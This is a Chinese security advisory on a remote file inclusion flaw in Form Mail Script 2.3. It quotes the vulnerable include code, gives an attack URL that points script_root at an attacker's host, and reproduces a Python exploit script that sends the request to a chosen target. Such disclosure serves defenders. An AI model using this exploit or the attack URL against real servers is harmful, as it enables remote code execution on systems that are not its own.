安全研究
安全漏洞
Form Mail Script远程文件包含执行任意命令漏洞
发布日期:2005-03-08
更新日期:2005-03-08
受影响系统:
Stadtaus Form Mail Script 2.3描述:
BUGTRAQ ID: 12735
Form Mail Script是由Ralf Stadtaus开发的脚本,允许用户通过邮件以文本或HTML格式向一个或多个收件人发送web站点表单的信息。该脚本还可以记录所有发送出去的消息。
Form Mail Script中存在一个漏洞,远程用户可以利用这个漏洞在目标机器上执行任意命令。
inc/formmail.inc.php脚本不能正确的验证用户在script_root参数中提供的输入。远程攻击者可以提供特制的URL,导致目标服务器包含并执行远程服务器的任意PHP代码。代码(包括操作系统命令)会以目标Web服务进程的权限运行。
inc/formmail.inc.php中有漏洞的代码:
...
/*****************************************************
** Include functions
*****************************************************/
include $script_root . 'inc/functions.inc.php';
include $script_root . 'inc/template.class.inc.php';
include $script_root . 'inc/template.ext.class.inc.php';
include $script_root . 'inc/formmail.class.inc.php';
...
include $script_root . 'languages/language.' . $language . '.inc.php';
...
以下是示范的攻击URL:
http://[target]/[dir]/inc/form mail.inc.php?script_root=http://[attacker]/
如果将register_globals和allow_url_fopen设置为on的话就会发生攻击。
<*来源:mozako (mozako@mybox.it)
Filip Groszynski (groszynskif@gmail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111022696125884&w=2#2
http://securitytracker.com/alerts/2005/Mar/1013378.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# Form Mail Script (FS) remote file inclusion exploit
# Coded by: mozako - mozako [at] mybox [dot] it
# Vuln. Discovered by: Filip Groszynski
# 5 March 2005
#
# (C) 2005 badroot security
import urllib2
import sys
__argv__ = sys.argv
def usage():
print "Form Mail Script (FS) remote file inclusion exploit \nby:
mozako\n3.3.2005\n\nUsage:\n$ ./phpN.py -h http://123.4.5.6 -p
/PHP_News_Path/ -u http://filetoupload"
sys.exit(-1)
if len(__argv__) < 2:
usage()
try:
global host
global path
global url
host = __argv__[2]
path = __argv__[4]
url = __argv__[6]
except IndexError:
usage()
def hack():
try:
print "[X] Connecting...",
urllib2.urlopen(host + path +
"inc/formmail.inc.php?script_root=" + url)
print "[OK]"
print "[X] Sending exploit...", "[OK]"
print "[X] Exploited !"
except urllib2.HTTPError:
print "[Failed]"
except urllib2.httplib.InvalidURL:
print "[Bad host]\nis there http:// ? :)"
except ValueError:
print "[Bad host]\nis there http:// ? :)"
hack()
# eof
建议:
厂商补丁:
Stadtaus
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.stadtaus.com/
浏览次数:3285
严重程度:0(网友投票)
绿盟科技给您安全的保障